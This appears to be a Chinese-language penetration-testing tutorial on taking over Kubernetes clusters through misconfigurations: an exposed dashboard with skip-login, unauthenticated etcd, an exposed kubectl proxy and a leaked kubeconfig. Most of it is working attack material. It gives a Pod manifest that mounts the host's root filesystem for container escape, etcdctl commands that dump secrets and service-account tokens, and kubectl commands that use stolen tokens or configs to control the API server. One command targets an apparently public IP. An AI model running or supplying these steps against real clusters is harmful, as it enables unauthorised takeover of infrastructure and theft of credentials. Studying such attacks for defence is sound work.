Dashboard 未授权访问

默认端口:8001

配置不当导致 dashboard 未授权访问,通过 dashboard 我们可以控制整个集群。

kubernetes dashboard 的未授权其实分两种情况:

一种是在本身就存在着不需要登录的 http 接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致 dashboard 未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口 https 的 dashboard 页面可以跳过登录。

复现利用

  • 用户开启 enable-skip-login 时可以在登录界面点击跳过登录进 dashboard
  • Kubernetes-dashboard 绑定 cluster-admin(拥有管理集群的最高权限)
  1. 安装:https://blog.csdn.net/justlpf/article/details/130718774
  2. 启动:kubectl create -f recommended.yaml
  3. 卸载:kubectl delete -f recommended.yaml
  4. 查看:kubectl get pod,svc -n kubernetes-dashboard
  5. 利用:新增 Pod 后续同前面利用一致
    • 找到暴露面板 → dashboard 跳过 → 创建或上传 pod → 进入执行 → 利用挂载逃逸
apiVersion: v1
kind: Pod
metadata:
  name: xiaodisec
spec:
  containers:
  - image: nginx
    name: xiaodisec
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

etcd 未授权访问

攻击 2379 端口:默认通过证书认证,主要存放节点数据,如 token 和证书。

第一种:没有配置指定 --client-cert-auth 参数打开证书校验,暴露在外 Etcd 服务存在未授权访问风险。

  • 暴露外部可以访问,直接未授权访问获取 secrets 和 token 利用

第二种:在打开证书校验选项后,通过本地 127.0.0.1:2379 可免认证访问 Etcd 服务,但通过其他地址访问要携带 cert 进行认证访问,一般配合 ssrf 或其他利用,较为鸡肋。

  • 只能本地访问,直接未授权访问获取 secrets 和 token 利用

第三种:实战中在安装 k8s 默认的配置 2379 只会监听本地,如果访问没设置 0.0.0.0 暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合 ssrf 或其他。

  • 只能本地访问,利用 ssrf 或其他进行获取 secrets 和 token 利用

复现搭建

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

修改 /etc/kubernetes/manifests/etcd.yaml

重启服务:systemctl restart kubelet.service

安装 etcdctl

https://github.com/etcd-io/etcd/releases

安装 kubectl

kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

复现利用

  • 暴露 etcd 未授权 → 获取 secrets & token → 通过访问 API-Server 接管
  • SSRF 绕限制访问 → 获取 secrets & token → 通过 token 访问 API-Server
  • V2/V3 版本利用参考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html

利用参考

https://www.wangan.com/p/7fy7f81f02d9563a

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

V2 版本利用

直接访问 http://ip:2379/v2/keys/?recursive=true,可以看到所有的 key-value 值(secrets token)

V3 版本利用

./etcdctl --endpoints=192.168.136.134:2379 get / --prefix
./etcdctl --endpoints=192.168.136.134:2379 put /testdir/testkey1 "Hello world1"
./etcdctl --endpoints=192.168.136.134:2379 put /testdir/testkey2 "Hello world2"
./etcdctl --endpoints=192.168.136.134:2379 put /testdir/testkey3 "Hello world3"

获取 k8s 的 secrets:

./etcdctl --endpoints=192.168.136.134:2379 get / --prefix --keys-only | grep /secrets/

读取 service account token:

./etcdctl --endpoints=192.168.136.134:2379 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.136.134:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-m8tcd

通过 token 访问 API-Server:

kubectl --insecure-skip-tls-verify -s https://192.168.136.134:6443/ --token="ey..." -n kube-system get pods

Proxy 不安全配置

当运维人员需要某个环境暴露端口或者 IP 时,会用到 Kubectl Proxy

使用 kubectl proxy 命令就可以使 API server 监听在本地的 xxxx 端口上

环境搭建

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

复现利用

  • 类似不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
  • 找到暴露入口点,根据类型选择合适方案
kubectl -s http://47.83.10.24:8009 get pods -n kube-system

Config 鉴权文件泄漏

攻击者通过 Webshell、Github 等拿到了 K8s 配置的 Config 文件,操作集群,从而接管所有容器。K8s configfile 作为 K8s 集群的管理凭证,其中包含有关 K8s 集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github 的代码等),就可以直接通过 API Server 接管 K8s 集群,带来风险隐患。

用户凭证保存在 kubeconfig 文件中,通过以下顺序来找到 kubeconfig 文件:

  • 如果提供了 -kubeconfig 参数,就使用提供的 kubeconfig 文件
  • 如果没有提供 -kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件
  • 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 ~/root/.kube/config

复现利用

  • K8s-configfile → 创建 Pod/挂载路径 → Kubectl 进入容器 → 利用挂载逃逸
  1. 将获取到的 config 复制

  2. 安装 kubectl 使用 config 连接安装:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux连接:

    kubectl -s https://192.168.136.134:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
  3. 上传利用 test.yaml 创建 pod

    kubectl -s https://192.168.136.134:6443/ --kubeconfig=config --insecure-skip-tls-verify=true apply -f test.yaml -n default --kubeconfig=config
  4. 连接 pod 后进行容器挂载逃逸

    kubectl -s https://192.168.136.134:6443/ --kubeconfig=config --insecure-skip-tls-verify=true exec -it cxthree bash -n default --kubeconfig=config
  5. 后续同前面一致